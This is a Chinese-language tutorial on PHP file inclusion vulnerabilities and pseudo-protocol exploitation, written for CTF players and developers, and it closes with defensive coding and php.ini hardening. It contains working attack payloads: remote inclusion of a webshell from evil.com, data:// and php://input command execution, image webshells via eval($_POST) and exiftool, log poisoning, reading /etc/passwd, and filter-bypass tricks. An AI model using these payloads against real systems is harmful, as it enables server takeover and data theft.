
1. 项目概述从一次“意外”的服务器文件泄露说起几年前我在做一次常规的网站渗透测试授权时遇到了一个非常典型的场景。目标是一个使用PHP开发的内容管理系统表面上看防护做得不错有WAF输入输出也做了过滤。但在测试其“模板预览”功能时我尝试在文件名参数里输入了../../../../etc/passwd本意是想测试下目录遍历结果服务器竟然真的把系统的/etc/passwd文件内容给吐了回来。这让我立刻警觉深入测试后发现这里存在一个本地文件包含漏洞。更“有趣”的是当我尝试使用php://filter伪协议去读取网站配置文件时发现因为一些特殊的字符过滤导致包含失败。于是我换了个思路用zip://协议配合一个上传的压缩包成功实现了代码执行。这个案例几乎囊括了文件包含漏洞的两种主要类型和伪协议利用的核心玩法。所以今天我们就来彻底拆解这个在Web安全领域经久不衰的高危漏洞文件包含以及与之紧密捆绑的“神兵利器”——伪协议。无论你是刚入门的安全爱好者、正在备战CTF的选手还是需要为自己开发的应用进行自查的开发者理解文件包含漏洞的原理、利用方式与防御手段都是一项至关重要的技能。它不像SQL注入那样直接“偷数据”也不像XSS那样在用户端“搞事情”但它往往能成为攻击链条中承上启下的关键一环直通服务器核心危害等级极高。2. 漏洞原理深度剖析为什么“包含”会变得危险要理解漏洞必须先理解其正常工作的机制。文件包含是许多后端编程语言如PHP、JSP提供的一种代码复用特性它允许开发者将一个外部文件的代码引入到当前脚本中执行。这极大地提高了开发效率比如把数据库连接配置、通用函数库、页面头部尾部模板等放在独立的文件中然后在需要的地方包含进来。2.1 包含机制的正常与异常在PHP中主要有四个包含函数include()包含并运行指定文件。如果包含失败文件不存在会发出一个警告但脚本会继续执行。require()包含并运行指定文件。如果包含失败会发出一个致命错误脚本停止执行。include_once()/require_once()功能同上但会检查该文件是否已经被包含过如果是则不会再次包含防止函数重定义等问题。一个正常的用法是这样的// config.php ?php $db_host localhost; $db_user root; $db_pass password; ? // index.php ?php require(config.php); // 包含配置文件获取数据库变量 echo 数据库用户是 . $db_user; ?这里的关键在于被包含文件的代码会被当作当前脚本的一部分来执行。如果被包含的是.php文件其中的PHP代码会被解析如果被包含的是.txt文件则会直接输出其文本内容。漏洞产生的根源就在于开发者信任了用户的输入并将用户可控的数据直接或间接地传递给了包含函数。例如// vulnerable.php ?php $page $_GET[page]; // 用户直接控制 include($page . .php); // 危险 ?攻击者可以构造这样的请求vulnerable.php?page../../etc/passwd%00。这里%00是空字符的URL编码在旧版本PHP中它可以用于截断后面的.php后缀从而让include尝试去包含../../etc/passwd这个系统文件。2.2 漏洞的两种主要类型根据被包含文件的来源文件包含漏洞分为两类2.2.1 本地文件包含本地文件包含是指包含服务器本地文件系统上的文件。就像我开头举的例子攻击者通过目录遍历../等手法可以读取服务器上的敏感文件。敏感文件举例/etc/passwdLinux系统用户账户信息。/etc/shadowLinux系统用户密码哈希需root权限。C:\Windows\System32\drivers\etc\hostsWindows系统主机文件。Web应用的配置文件如config.php,database.ini。网站日志文件access.log,error.log这可能为后续攻击提供信息。会话文件/tmp/sess_[sessionid]可能包含用户会话信息。危害信息泄露为进一步攻击如获取数据库密码、SSH密钥铺平道路。2.2.2 远程文件包含远程文件包含是指包含的文件来自远程服务器如http://attacker.com/shell.txt。这要求PHP配置中的allow_url_include选项设置为On默认是Off。由于风险极高现代PHP版本和环境已很少开启此选项。利用方式攻击者可以在自己控制的服务器上放置一个包含PHP代码的文本文件然后通过目标网站的包含漏洞去包含这个远程URL。// 假设 allow_url_include On // vulnerable.php?pagehttp://evil.com/shell.txt // shell.txt 内容?php system($_GET[cmd]); ?危害直接导致远程代码执行攻击者几乎可以完全控制服务器。注意RFI的利用条件较为苛刻但在一些老旧系统或特定配置下仍可能存在。LFI则更为常见是当前攻防演练的重点。2.3 伪协议将LFI升级为RCE的桥梁如果只有LFI攻击者可能只能读取文件虽然危险但还不够“致命”。而PHP伪协议的出现彻底改变了游戏规则。它允许我们以“流”的方式访问各种资源并将LFI的杀伤力提升到了远程代码执行的级别。伪协议不是真正的网络协议而是PHP封装的一套用于访问输入/输出流的抽象机制。当allow_url_include为Off时远程HTTP包含被禁止但一些伪协议如php://,zip://,phar://仍然可用因为它们被视为“本地”流包装器。3. 核心武器库PHP伪协议利用全解析理解并熟练运用几个关键的伪协议是挖掘和利用文件包含漏洞的核心。下面我们逐一拆解。3.1 php://filter —— 文件读取与源码泄露之王php://filter是一种元封装器设计用于在数据流打开时应用过滤器。在安全测试中它最常用于读取文件内容特别是当直接包含文件无法看到源码因为PHP代码会被执行时可以用它来获取源码。基本语法php://filter/read过滤器/resource要读取的文件convert.base64-encode过滤器这是最常用的过滤器。它将文件内容进行Base64编码后输出。因为编码后的内容是文本所以可以绕过PHP解析直接看到源码。vulnerable.php?pagephp://filter/readconvert.base64-encode/resourceindex.php服务器会返回Base64编码后的index.php源码解码后即可获得原始代码。string.rot13过滤器执行ROT13转换有时用于简单的混淆或测试。convert.iconv.*过滤器用于字符集转换在某些特定场景下可用于绕过过滤。实战技巧过滤器可以链式调用。例如先进行Base64编码再进行ROT13转换php://filter/readconvert.base64-encode|string.rot13/resourceconfig.php。这在某些简单的过滤器检测绕过中可能有用。3.2 php://input —— 直接执行POST代码php://input是个只读流用于访问请求的原始数据即POST数据体。当allow_url_include开启且包含函数遇到这个协议时它会将POST过去的数据当作PHP代码来执行。利用条件allow_url_include On。包含函数的参数完全或部分可控。发送POST请求。利用步骤使用Burp Suite或Curl等工具发起请求。将GET参数设置为php://input。在POST Body中直接写入要执行的PHP代码。GET /vulnerable.php?pagephp://input HTTP/1.1 Host: target.com ...其他头部... ?php system(id); ?如果成功服务器会执行system(id)并返回结果。重要提示由于allow_url_include默认关闭此协议利用场景已大大减少但在CTF或一些特定环境中仍会遇到。3.3 zip:// 与 phar:// —— 文件上传与代码执行组合拳这两个协议是将LFI转化为RCE的最常见、最有效手段尤其是在无法远程包含且php://input不可用的情况下。它们的核心思路是先上传一个包含恶意代码的文件如图片、压缩包然后利用包含漏洞去包含这个文件内部的特定路径触发代码执行。3.3.1 zip:// 协议zip://可以访问压缩包ZIP格式中的文件。利用它我们可以上传一个ZIP压缩包里面藏着一个包含PHP代码的文本文件然后去包含这个压缩包内的文件。利用步骤制作恶意ZIP创建一个shell.php文件内容为?php phpinfo(); ?。将其压缩为shell.zip。也可以将shell.php重命名为shell.jpg再压缩以绕过一些文件上传检查。上传ZIP文件找到网站的上传点将shell.zip上传。记下上传后的路径例如/uploads/temp/shell.zip。利用包含漏洞构造包含参数。vulnerable.php?pagezip:///var/www/html/uploads/temp/shell.zip%23shell.php注意协议格式zip://[压缩包文件的绝对路径]#[压缩包内的文件名]。#在URL中需要编码为%23。路径必须是绝对路径或相对当前工作目录的可用路径。3.3.2 phar:// 协议phar://是PHP归档协议比zip://更强大、更常用。PHARPHP Archive是PHP的自打包格式但phar://流包装器同样可以处理ZIP和TAR格式的压缩包。其利用方式与zip://类似但语法更友好。利用步骤制作恶意文件并压缩同样创建shell.php并压缩为shell.zip或shell.jpg后压缩。上传压缩包。利用包含漏洞vulnerable.php?pagephar:///var/www/html/uploads/temp/shell.zip/shell.php协议格式phar://[压缩包文件的绝对路径]/[压缩包内的文件名]。不需要对#进行特殊编码路径分隔符使用正斜杠/更为直观。为什么这种方式有效当PHP通过zip://或phar://去包含一个压缩包内的文件时它会先将该文件解压到临时位置然后包含它。如果这个文件以.php结尾或其内容被识别为PHP代码它就会被执行。即使你上传的文件后缀是.jpg只要压缩包内的文件名为shell.php或者文件内容以?php开头都可能被成功解析执行。3.4 data:// —— 另一种代码执行途径data://协议允许在URL中直接嵌入数据。类似于php://input它也可以用于直接执行代码。利用条件allow_url_include On。基本语法data://text/plain;base64,[Base64编码的数据]vulnerable.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8%2B其中PD9waHAgc3lzdGVtKCJpZCIpOz8是?php system(id);?的Base64编码。进阶用法即使allow_url_include为Off在某些特定场景下如file_get_contents()等函数data://仍可能用于SSRF或其它攻击但在文件包含的上下文中它需要allow_url_include开启。4. 实战攻防演练从漏洞发现到利用理论说得再多不如动手一试。我们以一个模拟环境如DVWA、iwebsec靶场为例梳理完整的攻击链条。4.1 漏洞发现与确认寻找包含点观察URL参数、表单输入、Cookie中是否存在可能表示文件名的参数如?pageabout,?filedocument.pdf,?templatedefault。初步测试尝试包含一个已知存在的文件。?page../../../../etc/passwd?pageindex.php(看看是否直接显示源码如果显示则可能存在漏洞且未过滤)如果页面有变化或报错信息不同可能意味着文件被包含。使用伪协议探测尝试php://filter读取自身源码这是最温和且有效的确认方式。?pagephp://filter/readconvert.base64-encode/resourceindex.php如果返回一串Base64编码解码后是index.php的源码则漏洞确认。4.2 利用链构造以获取WebShell为例假设我们已经确认存在LFI并且网站有一个图片上传功能。场景上传点只允许.jpg,.png后缀对文件内容做了简单检查不允许?php标签。攻击步骤制作恶意图片马准备一个简单的PHP WebShellshell.php内容为?php eval($_POST[cmd]);?。在Linux终端执行echo ?php eval($_POST[\cmd\]);? shell.jpg。这样PHP代码会被追加到一个正常的图片文件末尾或者直接创建一个包含代码的文本文件重命名为.jpg如果服务器不检查文件内容头的话。更稳妥的方法是使用exiftool工具将PHP代码写入图片的EXIF信息中exiftool -Comment?php system($_GET[\c\]); ? normal.jpg生成的新图片可能绕过内容检查。上传图片马将shell.jpg上传至服务器获取其存储路径例如/uploads/2023/10/shell.jpg。利用phar协议包含执行直接包含.jpg文件通常不会执行PHP代码因为服务器会将其当作图片处理。我们需要利用phar://。但phar://需要指向一个压缩包。因此我们需要让服务器“认为”我们的图片是一个压缩包。一个巧妙的技巧是利用文件包含漏洞本身配合phar://的某些特性。但更通用的方法是方法A需能上传压缩包将shell.jpg内含代码压缩成shell.zip上传shell.zip然后包含?pagephar:///var/www/html/uploads/shell.zip/shell.jpg。如果服务器能解析.jpg文件中的PHP代码则成功。方法B利用phar反序列化更高级创建一个恶意的PHAR文件本质是一个序列化对象其中包含触发漏洞的代码。通过文件上传或其它方式将PHAR文件上传可后缀改为.jpg然后利用phar://协议包含这个文件触发反序列化执行代码。这涉及PHP反序列化漏洞是更复杂的组合利用。备用方案利用日志文件注入如果上述方法都行不通可以考虑日志文件包含。原理Web服务器如Apache的访问日志access.log会记录每一条请求包括User-Agent头。我们可以将PHP代码注入到User-Agent中。步骤 a. 使用工具发送一个请求User-Agent设置为?php phpinfo(); ?。 b. 找到日志文件的绝对路径常见如/var/log/apache2/access.log可通过LFI读取/proc/self/environ或/proc/self/fd/等文件猜测或利用已知信息。 c. 包含日志文件?page/var/log/apache2/access.log。 d. 如果日志文件被包含且其中的PHP代码被解析我们就能执行任意代码。然后可以将User-Agent改为WebShell代码从而获得持久化访问。4.3 常见WAF绕过与过滤对抗在实际环境中开发人员可能会实施一些过滤措施。路径遍历过滤过滤../。双写绕过....//过滤一次后变成../。绝对路径直接使用/etc/passwd如果知道Web根目录不在/var/www下。编码绕过URL编码、双重URL编码、Unicode编码等。例如..%2f(/的编码),%2e%2e%2f(../的编码)。后缀限制强制添加.php后缀如include($page . .php)。空字节截断在PHP版本 5.3.4 时%00空字节可以截断后面的字符串。?page../../etc/passwd%00。路径长度截断在PHP版本 5.3 且 magic_quotes_gpcoff 时超长文件名可能导致截断如超过4096字节。利用伪协议php://filter等协议不受后缀限制。?pagephp://filter/readconvert.base64-encode/resourceindex。协议黑名单过滤php://,phar://等字符串。大小写混合PHP://PhAr://。增加多余字符php:///(多一个斜杠)php:/.//filter在某些环境下可解析。使用不常见的协议如compress.zlib://expect://需安装扩展等。5. 防御策略开发者该如何筑起围墙理解了攻击防御就有了方向。防御文件包含漏洞的核心原则是对用户输入进行严格的白名单控制并降低包含操作的灵活性。5.1 输入验证使用白名单这是最有效的方法。不要试图用黑名单过滤掉所有危险字符而是定义一个允许的文件名或标识符列表。// 安全示例 $allowed_pages array(home, about, contact, news); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(error.php); }5.2 固定目录与后缀如果必须允许一定程度的动态包含请将文件限制在特定的安全目录内并强制添加固定的后缀。// 相对安全示例 $base_dir /var/www/html/includes/; // 固定的安全目录 $page basename($_GET[page]); // 使用 basename() 去除路径 $file_path $base_dir . $page . .php; // 固定后缀 // 额外检查确保最终路径在安全目录内 if (strpos(realpath($file_path), $base_dir) 0 file_exists($file_path)) { include($file_path); } else { die(Invalid file request.); }basename()移除路径部分只保留文件名防止目录遍历。realpath()解析文件的真实绝对路径。检查realpath($file_path)是否以$base_dir开头确保文件没有“逃出”安全目录。5.3 禁用危险的PHP配置在php.ini配置文件中将allow_url_include设置为Off这是杜绝远程文件包含和php://input、data://协议利用的关键。将allow_url_fopen设置为Off虽然主要影响fopen()等函数但也能增加安全系数。将open_basedir设置为合适的目录限制PHP脚本只能访问指定目录及其子目录为文件包含增加一道防线。5.4 其他安全实践使用安全的包含函数考虑使用require_once或include_once避免因多次包含导致的意外行为。错误处理在生产环境中关闭错误回显display_errors Off防止路径等敏感信息泄露。定期更新与审计保持PHP版本和框架的最新状态定期对代码进行安全审计尤其是处理文件操作的部分。文件包含漏洞的攻防是一场关于“信任”与“控制”的博弈。对于攻击者理解协议特性、灵活组合利用手法是关键对于开发者坚守最小权限原则、实施严格的白名单验证是根本。通过DVWA、iwebsec、CTFHub等靶场的反复练习你能更深刻地体会到一个看似简单的“包含”功能如果失去了对输入的控制将会在攻击者手中演变成何等锋利的武器。